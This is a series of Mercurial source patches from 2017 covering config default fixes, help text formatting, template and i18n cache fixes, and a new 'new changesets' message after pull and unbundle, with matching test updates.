+  0 files updated, 0 files merged, 2 files removed, 0 files unresolved
+  $ hg pull
+  pulling from $TESTTMP/distributed-chain-building/distributed-chain-building/server (glob)
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 0 changes to 2 files (+1 heads)
+  6 new obsolescence markers
+  obsoleted 2 changesets
+  (run 'hg heads' to see heads)
+  $ hg debugobsolete
+  3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 77ae25d99ff07889e181126b1171b94bec8e5227 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  5b5708a437f27665db42c5a261a539a1bcb2a8c2 9866d64649a5d9c5991fe119c7b2c33898114e10 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  5ffb9e311b35f6ab6f76f667ca5d6e595645481b 956063ac4557828781733b2d5677a351ce856f59 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  956063ac4557828781733b2d5677a351ce856f59 3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'celeste'}
+  d33b0a3a64647d79583526be8107802b1f9fedfa 5b5708a437f27665db42c5a261a539a1bcb2a8c2 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  ef908e42ce65ef57f970d799acaddde26f58a4cc 5ffb9e311b35f6ab6f76f667ca5d6e595645481b 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'bob'}
+
+Then, she pulls from Bob, pulling predecessors of the changeset she has
+already pulled. The changesets are not obsoleted in the Bob repo yet. Their
+successors do not exist in Bob repository yet.
+
+  $ hg pull ../repo-Bob
+  pulling from ../repo-Bob
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 0 changes to 2 files (+1 heads)
+  (run 'hg heads' to see heads)
+  $ hg log -G
+  o  4:77ae25d99ff0 c_B2
+  |
+  o  3:9866d64649a5 c_A2
+  |
+  @  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 77ae25d99ff07889e181126b1171b94bec8e5227 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  5b5708a437f27665db42c5a261a539a1bcb2a8c2 9866d64649a5d9c5991fe119c7b2c33898114e10 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  5ffb9e311b35f6ab6f76f667ca5d6e595645481b 956063ac4557828781733b2d5677a351ce856f59 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  956063ac4557828781733b2d5677a351ce856f59 3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'celeste'}
+  d33b0a3a64647d79583526be8107802b1f9fedfa 5b5708a437f27665db42c5a261a539a1bcb2a8c2 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  ef908e42ce65ef57f970d799acaddde26f58a4cc 5ffb9e311b35f6ab6f76f667ca5d6e595645481b 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'bob'}
+
+Same tests, but change coming from a bundle
+(testing with a bundle is interesting because absolutely no discovery or
+decision is made in that case, so receiving the changesets are not an option).
+
+  $ hg rollback
+  repository tip rolled back to revision 4 (undo pull)
+  $ hg log -G
+  o  4:77ae25d99ff0 c_B2
+  |
+  o  3:9866d64649a5 c_A2
+  |
+  @  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 77ae25d99ff07889e181126b1171b94bec8e5227 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  5b5708a437f27665db42c5a261a539a1bcb2a8c2 9866d64649a5d9c5991fe119c7b2c33898114e10 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  5ffb9e311b35f6ab6f76f667ca5d6e595645481b 956063ac4557828781733b2d5677a351ce856f59 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  956063ac4557828781733b2d5677a351ce856f59 3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'celeste'}
+  d33b0a3a64647d79583526be8107802b1f9fedfa 5b5708a437f27665db42c5a261a539a1bcb2a8c2 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  ef908e42ce65ef57f970d799acaddde26f58a4cc 5ffb9e311b35f6ab6f76f667ca5d6e595645481b 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'bob'}
+  $ hg -R ../repo-Bob bundle ../step-1.hg
+  searching for changes
+  2 changesets found
+  $ hg unbundle ../step-1.hg
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 0 changes to 2 files (+1 heads)
+  (run 'hg heads' to see heads)
+  $ hg log -G
+  o  4:77ae25d99ff0 c_B2
+  |
+  o  3:9866d64649a5 c_A2
+  |
+  @  0:e82fb8d02bbf ROOT
+  
+  $ hg log -G --hidden
+  x  6:956063ac4557 c_B1 [rewritten using amend, rebase as 4:77ae25d99ff0 by celeste (at 1970-01-01 00:00 +0000); ]
+  |
+  x  5:5b5708a437f2 c_A1 [rewritten using amend as 3:9866d64649a5 by celeste (at 1970-01-01 00:00 +0000); ]
+  |
+  | o  4:77ae25d99ff0 c_B2
+  | |
+  | o  3:9866d64649a5 c_A2
+  |/
+  | x  2:ef908e42ce65 c_B0 [rewritten using amend, rebase as 6:956063ac4557 by bob (at 1970-01-01 00:00 +0000); ]
+  | |
+  | x  1:d33b0a3a6464 c_A0 [rewritten using amend as 5:5b5708a437f2 by bob (at 1970-01-01 00:00 +0000); ]
+  |/
+  @  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 77ae25d99ff07889e181126b1171b94bec8e5227 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  5b5708a437f27665db42c5a261a539a1bcb2a8c2 9866d64649a5d9c5991fe119c7b2c33898114e10 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  5ffb9e311b35f6ab6f76f667ca5d6e595645481b 956063ac4557828781733b2d5677a351ce856f59 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  956063ac4557828781733b2d5677a351ce856f59 3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'celeste'}
+  d33b0a3a64647d79583526be8107802b1f9fedfa 5b5708a437f27665db42c5a261a539a1bcb2a8c2 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  ef908e42ce65ef57f970d799acaddde26f58a4cc 5ffb9e311b35f6ab6f76f667ca5d6e595645481b 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'bob'}
+
+  $ cd ..
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1507901904 -32400
#      Fri Oct 13 22:38:24 2017 +0900
# Node ID 174d115d8104687216d68723845fb15e9f830d75
# Parent  e88dbbcf2a56ee92f4bae122c772fad8cd84c550
bdiff: include compat.h in header to define ssize_t

Before ff4c9c6263de, compat.h was included first so it happened to work.
But we shouldn't rely on the include order.

diff --git a/mercurial/bdiff.h b/mercurial/bdiff.h
--- a/mercurial/bdiff.h
+++ b/mercurial/bdiff.h
@@ -1,6 +1,8 @@
 #ifndef _HG_BDIFF_H_
 #define _HG_BDIFF_H_
 
+#include "compat.h"
+
 struct bdiff_line {
 	int hash, n, e;
 	ssize_t len;
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1507821268 -32400
#      Fri Oct 13 00:14:28 2017 +0900
# Node ID 8bea493e7297fb71a28e8ce4643fbed0d36179dc
# Parent  174d115d8104687216d68723845fb15e9f830d75
configitems: correct default values of web.allow<archtype> and web.hidden

The default of ui.configbool() is False unless explicitly specified.

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -761,10 +761,10 @@
     default=None,
 )
 coreconfigitem('web', 'allowbz2',
-    default=None,
+    default=False,
 )
 coreconfigitem('web', 'allowgz',
-    default=None,
+    default=False,
 )
 coreconfigitem('web', 'allowpull',
     default=True,
@@ -773,7 +773,7 @@
     default=list,
 )
 coreconfigitem('web', 'allowzip',
-    default=None,
+    default=False,
 )
 coreconfigitem('web', 'cache',
     default=True,
@@ -788,7 +788,7 @@
     default=False,
 )
 coreconfigitem('web', 'hidden',
-    default=None,
+    default=False,
 )
 coreconfigitem('web', 'labels',
     default=list,
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1507821774 -32400
#      Fri Oct 13 00:22:54 2017 +0900
# Node ID 4182d2065e7ab55e8cd035855c4f99da442dbfd0
# Parent  8bea493e7297fb71a28e8ce4643fbed0d36179dc
configitems: drop redundant default of web.allow<archtype>

Otherwise develwarn would be sent to stderr. I've added blackbox logging
to capture warnings.

diff --git a/mercurial/hgweb/webcommands.py b/mercurial/hgweb/webcommands.py
--- a/mercurial/hgweb/webcommands.py
+++ b/mercurial/hgweb/webcommands.py
@@ -1113,7 +1113,7 @@
         raise ErrorResponse(HTTP_NOT_FOUND, msg)
 
     if not ((type_ in allowed or
-        web.configbool("web", "allow" + type_, False))):
+             web.configbool("web", "allow" + type_))):
         msg = 'Archive type not allowed: %s' % type_
         raise ErrorResponse(HTTP_FORBIDDEN, msg)
 
diff --git a/tests/test-archive.t b/tests/test-archive.t
--- a/tests/test-archive.t
+++ b/tests/test-archive.t
@@ -24,7 +24,15 @@
   $ cp .hg/hgrc .hg/hgrc-base
   > test_archtype() {
   >     echo "allow_archive = $1" >> .hg/hgrc
-  >     hg serve -p $HGPORT -d --pid-file=hg.pid -E errors.log
+  >     test_archtype_run "$@"
+  > }
+  > test_archtype_deprecated() {
+  >     echo "allow$1 = True" >> .hg/hgrc
+  >     test_archtype_run "$@"
+  > }
+  > test_archtype_run() {
+  >     hg serve -p $HGPORT -d --pid-file=hg.pid -E errors.log \
+  >         --config extensions.blackbox= --config blackbox.track=develwarn
   >     cat hg.pid >> $DAEMON_PIDS
   >     echo % $1 allowed should give 200
   >     get-with-headers.py localhost:$HGPORT "archive/tip.$2" | head -n 1
@@ -33,6 +41,7 @@
   >     get-with-headers.py localhost:$HGPORT "archive/tip.$4" | head -n 1
   >     killdaemons.py
   >     cat errors.log
+  >     hg blackbox --config extensions.blackbox= --config blackbox.track=
   >     cp .hg/hgrc-base .hg/hgrc
   > }
 
@@ -57,6 +66,27 @@
   403 Archive type not allowed: gz
   403 Archive type not allowed: bz2
 
+check http return codes (with deprecated option)
+
+  $ test_archtype_deprecated gz tar.gz tar.bz2 zip
+  % gz allowed should give 200
+  200 Script output follows
+  % tar.bz2 and zip disallowed should both give 403
+  403 Archive type not allowed: bz2
+  403 Archive type not allowed: zip
+  $ test_archtype_deprecated bz2 tar.bz2 zip tar.gz
+  % bz2 allowed should give 200
+  200 Script output follows
+  % zip and tar.gz disallowed should both give 403
+  403 Archive type not allowed: zip
+  403 Archive type not allowed: gz
+  $ test_archtype_deprecated zip zip tar.gz tar.bz2
+  % zip allowed should give 200
+  200 Script output follows
+  % tar.gz and tar.bz2 disallowed should both give 403
+  403 Archive type not allowed: gz
+  403 Archive type not allowed: bz2
+
   $ echo "allow_archive = gz bz2 zip" >> .hg/hgrc
   $ hg serve -p $HGPORT -d --pid-file=hg.pid -E errors.log
   $ cat hg.pid >> $DAEMON_PIDS
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1507814474 -32400
#      Thu Oct 12 22:21:14 2017 +0900
# Node ID 01c57eeb35cbcd6b1d159404e02dd2ae06030297
# Parent  4182d2065e7ab55e8cd035855c4f99da442dbfd0
chg: remove outdated rule to start test server

This rule is no longer useful because chg daemon may be killed and respawned
per config/environment hash. We can't reliably run a daemon in foreground.

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -181,7 +181,6 @@
 	make -C contrib/chg \
 	  HGPATH=/usr/local/bin/hg \
 	  PYTHON=/usr/bin/python2.7 \
-	  HG=/usr/local/bin/hg \
 	  HGEXTDIR=/Library/Python/2.7/site-packages/hgext \
 	  DESTDIR=../../build/mercurial \
 	  PREFIX=/usr/local \
diff --git a/contrib/chg/Makefile b/contrib/chg/Makefile
--- a/contrib/chg/Makefile
+++ b/contrib/chg/Makefile
@@ -1,5 +1,3 @@
-HG = $(CURDIR)/../../hg
-
 TARGET = chg
 SRCS = chg.c hgclient.c procutil.c util.c
 OBJS = $(SRCS:.c=.o)
@@ -15,9 +13,6 @@
 PREFIX = /usr/local
 MANDIR = $(PREFIX)/share/man/man1
 
-CHGSOCKDIR = /tmp/chg$(shell id -u)
-CHGSOCKNAME = $(CHGSOCKDIR)/server
-
 .PHONY: all
 all: $(TARGET)
 
@@ -36,13 +31,6 @@
 	install -d "$(DESTDIR)$(MANDIR)"
 	install -m 644 chg.1 "$(DESTDIR)$(MANDIR)"
 
-.PHONY: serve
-serve:
-	[ -d "$(CHGSOCKDIR)" ] || ( umask 077; mkdir "$(CHGSOCKDIR)" )
-	"$(HG)" serve --cwd / --cmdserver chgunix \
-		--address $(CHGSOCKNAME) \
-		--config cmdserver.log=/dev/stderr
-
 .PHONY: clean
 clean:
 	$(RM) $(OBJS)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1507812162 -32400
#      Thu Oct 12 21:42:42 2017 +0900
# Node ID eb7fffdc6e5b8143c74a5acfce0e5b3bf94fce16
# Parent  01c57eeb35cbcd6b1d159404e02dd2ae06030297
help: fix formatting of template keywords

Our minirst formatter can't render multi-paragraph definition lists well.
Also added periods where appropriate.

diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -377,14 +377,13 @@
 # Deprecated, but kept alive for help generation a purpose.
 @templatekeyword('currentbookmark')
 def showcurrentbookmark(**args):
-    """String. The active bookmark, if it is
-    associated with the changeset (DEPRECATED)"""
+    """String. The active bookmark, if it is associated with the changeset.
+    (DEPRECATED)"""
     return showactivebookmark(**args)
 
 @templatekeyword('activebookmark')
 def showactivebookmark(**args):
-    """String. The active bookmark, if it is
-    associated with the changeset"""
+    """String. The active bookmark, if it is associated with the changeset."""
     active = args[r'repo']._activebookmark
     if active and active in args[r'ctx'].bookmarks():
         return active
@@ -505,8 +504,8 @@
 
 @templatekeyword('graphnode')
 def showgraphnode(repo, ctx, **args):
-    """String. The character representing the changeset node in
-    an ASCII revision graph"""
+    """String. The character representing the changeset node in an ASCII
+    revision graph."""
     wpnodes = repo.dirstate.parents()
     if wpnodes[1] == nullid:
         wpnodes = wpnodes[:1]
@@ -671,8 +670,7 @@
 
 @templatekeyword("predecessors")
 def showpredecessors(repo, ctx, **args):
-    """Returns the list if the closest visible successors
-    """
+    """Returns the list if the closest visible successors."""
     predecessors = sorted(obsutil.closestpredecessors(repo, ctx.node()))
     predecessors = map(hex, predecessors)
 
@@ -682,10 +680,9 @@
 
 @templatekeyword("successorssets")
 def showsuccessorssets(repo, ctx, **args):
-    """Returns a string of sets of successors for a changectx
-
-    Format used is: [ctx1, ctx2], [ctx3] if ctx has been splitted into ctx1 and
-    ctx2 while also diverged into ctx3"""
+    """Returns a string of sets of successors for a changectx. Format used
+    is: [ctx1, ctx2], [ctx3] if ctx has been splitted into ctx1 and ctx2
+    while also diverged into ctx3."""
     if not ctx.obsolete():
         return ''
     args = pycompat.byteskwargs(args)
@@ -714,11 +711,9 @@
 
 @templatekeyword("succsandmarkers")
 def showsuccsandmarkers(repo, ctx, **args):
-    """Returns a list of dict for each final successor of ctx.
-
-    The dict contains successors node id in "successors" keys and the list of
-    obs-markers from ctx to the set of successors in "markers"
-
+    """Returns a list of dict for each final successor of ctx. The dict
+    contains successors node id in "successors" keys and the list of
+    obs-markers from ctx to the set of successors in "markers".
     (EXPERIMENTAL)
     """
 
@@ -863,7 +858,6 @@
 @templatekeyword('troubles')
 def showtroubles(repo, **args):
     """List of strings. Evolution troubles affecting the changeset.
-
     (DEPRECATED)
     """
     msg = ("'troubles' is deprecated, "
@@ -875,7 +869,6 @@
 @templatekeyword('instabilities')
 def showinstabilities(**args):
     """List of strings. Evolution instabilities affecting the changeset.
-
     (EXPERIMENTAL)
     """
     args = pycompat.byteskwargs(args)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1507812482 -32400
#      Thu Oct 12 21:48:02 2017 +0900
# Node ID bfb6fd93b63796f722e6fbe95819c4de74f011eb
# Parent  eb7fffdc6e5b8143c74a5acfce0e5b3bf94fce16
help: hide template keywords of obsolescence as they are still experimental

diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -648,8 +648,7 @@
 
 @templatekeyword('obsolete')
 def showobsolete(repo, ctx, templ, **args):
-    """String. Whether the changeset is obsolete.
-    """
+    """String. Whether the changeset is obsolete. (EXPERIMENTAL)"""
     if ctx.obsolete():
         return 'obsolete'
     return ''
@@ -670,7 +669,7 @@
 
 @templatekeyword("predecessors")
 def showpredecessors(repo, ctx, **args):
-    """Returns the list if the closest visible successors."""
+    """Returns the list if the closest visible successors. (EXPERIMENTAL)"""
     predecessors = sorted(obsutil.closestpredecessors(repo, ctx.node()))
     predecessors = map(hex, predecessors)
 
@@ -682,7 +681,7 @@
 def showsuccessorssets(repo, ctx, **args):
     """Returns a string of sets of successors for a changectx. Format used
     is: [ctx1, ctx2], [ctx3] if ctx has been splitted into ctx1 and ctx2
-    while also diverged into ctx3."""
+    while also diverged into ctx3. (EXPERIMENTAL)"""
     if not ctx.obsolete():
         return ''
     args = pycompat.byteskwargs(args)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1507812973 -32400
#      Thu Oct 12 21:56:13 2017 +0900
# Node ID dbe1f51188641abd84f453be95c323fcc83dec3d
# Parent  bfb6fd93b63796f722e6fbe95819c4de74f011eb
help: use single quotes in ``template example``

It was hard to read because ``""`` was rendered as """".

diff --git a/mercurial/help/templates.txt b/mercurial/help/templates.txt
--- a/mercurial/help/templates.txt
+++ b/mercurial/help/templates.txt
@@ -74,9 +74,9 @@
 
 The dot operator can be used as a shorthand for accessing a sub item:
 
-- ``expr.member`` is roughly equivalent to ``expr % "{member}"`` if ``expr``
+- ``expr.member`` is roughly equivalent to ``expr % '{member}'`` if ``expr``
   returns a non-list/dict. The returned value is not stringified.
-- ``dict.key`` is identical to ``get(dict, "key")``.
+- ``dict.key`` is identical to ``get(dict, 'key')``.
 
 Aliases
 =======
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1507813751 -32400
#      Thu Oct 12 22:09:11 2017 +0900
# Node ID 3edfd472f3cb4580b5591dc16eb27e819a4ad7dc
# Parent  dbe1f51188641abd84f453be95c323fcc83dec3d
templater: fix ifcontains() to handle type mismatch gracefully

This was unintentionally changed in ee0d74083a22. Since ifcontains() takes
needle of any types, it shouldn't abort depending on the given container type.

diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -797,10 +797,14 @@
         raise error.ParseError(_("ifcontains expects three or four arguments"))
 
     haystack = evalfuncarg(context, mapping, args[1])
-    needle = evalastype(context, mapping, args[0],
-                        getattr(haystack, 'keytype', None) or bytes)
+    try:
+        needle = evalastype(context, mapping, args[0],
+                            getattr(haystack, 'keytype', None) or bytes)
+        found = (needle in haystack)
+    except error.ParseError:
+        found = False
 
-    if needle in haystack:
+    if found:
         yield evalrawexp(context, mapping, args[2])
     elif len(args) == 4:
         yield evalrawexp(context, mapping, args[3])
diff --git a/tests/test-command-template.t b/tests/test-command-template.t
--- a/tests/test-command-template.t
+++ b/tests/test-command-template.t
@@ -3948,6 +3948,9 @@
   1 match rev
   0 not match rev
 
+  $ hg log -T '{ifcontains(desc, revset(":"), "", "type not match")}\n' -l1
+  type not match
+
   $ hg log --template '{rev} Parents: {revset("parents(%s)", rev)}\n'
   2 Parents: 1
   1 Parents: 0
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1507898170 -32400
#      Fri Oct 13 21:36:10 2017 +0900
# Node ID d00ec62d156f3d54980790048ef68966fb7bbe5c
# Parent  3edfd472f3cb4580b5591dc16eb27e819a4ad7dc
i18n: cache translated messages per encoding

This is a simpler workaround alternative to D958, "i18n: clean msgcache when
encoding changes." The cache won't be bloated unless you run tons of commands
with different --encoding options on command server, or serve many repositories
of different web.encoding options on hgweb.

The test was originally written by Jun Wu.

Differential Revision: https://phab.mercurial-scm.org/D1053

diff --git a/mercurial/i18n.py b/mercurial/i18n.py
--- a/mercurial/i18n.py
+++ b/mercurial/i18n.py
@@ -58,7 +58,7 @@
     except AttributeError:
         _ugettext = t.gettext
 
-_msgcache = {}
+_msgcache = {}  # encoding: {message: translation}
 
 def gettext(message):
     """Translate message.
@@ -74,7 +74,8 @@
     if message is None or not _ugettext:
         return message
 
-    if message not in _msgcache:
+    cache = _msgcache.setdefault(encoding.encoding, {})
+    if message not in cache:
         if type(message) is unicode:
             # goofy unicode docstrings in test
             paragraphs = message.split(u'\n\n')
@@ -90,11 +91,11 @@
             # the Python encoding defaults to 'ascii', this fails if the
             # translated string use non-ASCII characters.
             encodingstr = pycompat.sysstr(encoding.encoding)
-            _msgcache[message] = u.encode(encodingstr, "replace")
+            cache[message] = u.encode(encodingstr, "replace")
         except LookupError:
             # An unknown encoding results in a LookupError.
-            _msgcache[message] = message
-    return _msgcache[message]
+            cache[message] = message
+    return cache[message]
 
 def _plain():
     if ('HGPLAIN' not in encoding.environ
diff --git a/tests/test-i18n.t b/tests/test-i18n.t
--- a/tests/test-i18n.t
+++ b/tests/test-i18n.t
@@ -48,3 +48,23 @@
   $ $PYTHON check-translation.py *.po
   $ $PYTHON check-translation.py --doctest
   $ cd $TESTTMP
+
+Check i18n cache isn't reused after encoding change:
+
+  $ cat > $TESTTMP/encodingchange.py << EOF
+  > from mercurial import encoding, registrar
+  > from mercurial.i18n import _
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command(b'encodingchange', norepo=True)
+  > def encodingchange(ui):
+  >     for encode in (b'ascii', b'UTF-8', b'ascii', b'UTF-8'):
+  >         encoding.encoding = encode
+  >         ui.write(b'%s\n' % _(b'(EXPERIMENTAL)'))
+  > EOF
+
+  $ LANGUAGE=ja hg --config extensions.encodingchange=$TESTTMP/encodingchange.py encodingchange
+  (?????)
+  (\xe5\xae\x9f\xe9\xa8\x93\xe7\x9a\x84\xe5\xae\x9f\xe8\xa3\x85) (esc)
+  (?????)
+  (\xe5\xae\x9f\xe9\xa8\x93\xe7\x9a\x84\xe5\xae\x9f\xe8\xa3\x85) (esc)
# HG changeset patch
# User Denis Laxalde <denis.laxalde@logilab.fr>
# Date 1507793990 -7200
#      Thu Oct 12 09:39:50 2017 +0200
# Node ID eb586ed5d8cefc99f038b54663ac55ed8e5a367e
# Parent  d00ec62d156f3d54980790048ef68966fb7bbe5c
transaction-summary: show the range of new revisions upon pull/unbundle (BC)

Upon pull or unbundle, we display a message with the range of new revisions
fetched. This revision range could readily be used after a pull to look out
what's new with 'hg log'. The algorithm takes care of filtering "obsolete"
revisions that might be present in transaction's "changes" but should not be
displayed to the end user.

diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -1200,6 +1200,11 @@
     'unbundle',
 ]
 
+_reportnewcssource = [
+    'pull',
+    'unbundle',
+]
+
 def registersummarycallback(repo, otr, txnname=''):
     """register a callback to issue a summary after the transaction is closed
     """
@@ -1226,3 +1231,34 @@
             if obsoleted:
                 repo.ui.status(_('obsoleted %i changesets\n')
                                % len(obsoleted))
+
+    if txmatch(_reportnewcssource):
+        @reportsummary
+        def reportnewcs(repo, tr):
+            """Report the range of new revisions pulled/unbundled."""
+            newrevs = list(tr.changes.get('revs', set()))
+            if not newrevs:
+                return
+
+            # Compute the bounds of new revisions' range, excluding obsoletes.
+            unfi = repo.unfiltered()
+            minrev, maxrev = None, None
+            newrevs.sort()
+            for r in newrevs:
+                if not unfi[r].obsolete():
+                    minrev = repo[r]
+                    break
+            for r in reversed(newrevs):
+                if not unfi[r].obsolete():
+                    maxrev = repo[r]
+                    break
+
+            if minrev is None or maxrev is None:
+                # Got only obsoletes.
+                return
+
+            if minrev == maxrev:
+                revrange = minrev
+            else:
+                revrange = '%s:%s' % (minrev, maxrev)
+            repo.ui.status(_('new changesets %s\n') % revrange)
diff --git a/tests/test-acl.t b/tests/test-acl.t
--- a/tests/test-acl.t
+++ b/tests/test-acl.t
@@ -67,6 +67,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 3 changes to 3 files
+  new changesets 6675d58eff77
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -1416,6 +1417,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 81fbf4469322:fb35475503ef
   (run 'hg heads' to see heads)
 
 Create additional changeset on foobar branch
diff --git a/tests/test-audit-path.t b/tests/test-audit-path.t
--- a/tests/test-audit-path.t
+++ b/tests/test-audit-path.t
@@ -78,6 +78,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 6 changes to 6 files (+4 heads)
+  new changesets b7da9bf6b037:fc1393d727bc
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 attack .hg/test
diff --git a/tests/test-blackbox.t b/tests/test-blackbox.t
--- a/tests/test-blackbox.t
+++ b/tests/test-blackbox.t
@@ -66,6 +66,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d02f48003e62
   (run 'hg update' to get a working copy)
   $ hg blackbox -l 6
   1970/01/01 00:00:00 bob @6563da9dcf87b1949716e38ff3e3dfaa3198eb06 (5000)> pull
@@ -109,6 +110,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d02f48003e62
   (run 'hg update' to get a working copy)
 
 a failure reading from the log is fatal
diff --git a/tests/test-bookmarks-pushpull.t b/tests/test-bookmarks-pushpull.t
--- a/tests/test-bookmarks-pushpull.t
+++ b/tests/test-bookmarks-pushpull.t
@@ -40,6 +40,7 @@
   adding remote bookmark X
   updating bookmark Y
   adding remote bookmark Z
+  new changesets 4e3505fd9583
   (run 'hg update' to get a working copy)
   $ hg bookmarks
      X                         0:4e3505fd9583
@@ -190,6 +191,7 @@
   divergent bookmark @ stored as @foo
   divergent bookmark X stored as X@foo
   updating bookmark Z
+  new changesets 0d2164f0ce0d
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg book
      @                         1:9b140be10808
@@ -343,6 +345,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   updating bookmark Y
+  new changesets b0a5eff05604
   (run 'hg update' to get a working copy)
   $ hg book
    * @                         1:0d2164f0ce0d
@@ -392,6 +395,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   updating bookmark Y
+  new changesets 35d1ef0a8d1b
   (run 'hg update' to get a working copy)
   $ hg book
      @                         1:0d2164f0ce0d
@@ -555,6 +559,7 @@
   adding file changes
   added 5 changesets with 5 changes to 3 files (+2 heads)
   2 new obsolescence markers
+  new changesets 4e3505fd9583:c922c0139ca0
   updating to bookmark @
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R cloned-bookmarks bookmarks
@@ -691,6 +696,7 @@
   adding file changes
   added 5 changesets with 5 changes to 3 files (+2 heads)
   2 new obsolescence markers
+  new changesets 4e3505fd9583:c922c0139ca0
   updating to bookmark @
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd addmarks
diff --git a/tests/test-bookmarks.t b/tests/test-bookmarks.t
--- a/tests/test-bookmarks.t
+++ b/tests/test-bookmarks.t
@@ -550,6 +550,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files (+1 heads)
+  new changesets f7b1eb17ad24:db815d6d32e6
   updating to bookmark @
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R cloned-bookmarks-pull bookmarks
@@ -587,6 +588,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets f7b1eb17ad24:925d80f479bb
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R cloned-bookmarks-rev bookmarks
@@ -627,6 +629,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files (+1 heads)
+  new changesets 125c9a1d6df6:9ba5f110a0b3
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 update to active bookmark if it's not the parent
@@ -674,6 +677,7 @@
   added 2 changesets with 2 changes to 2 files (+1 heads)
   updating bookmark Y
   updating bookmark Z
+  new changesets 125c9a1d6df6:9ba5f110a0b3
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 (# tests strange but with --date crashing when bookmark have to move)
@@ -699,6 +703,7 @@
   added 2 changesets with 2 changes to 2 files (+1 heads)
   updating bookmark Y
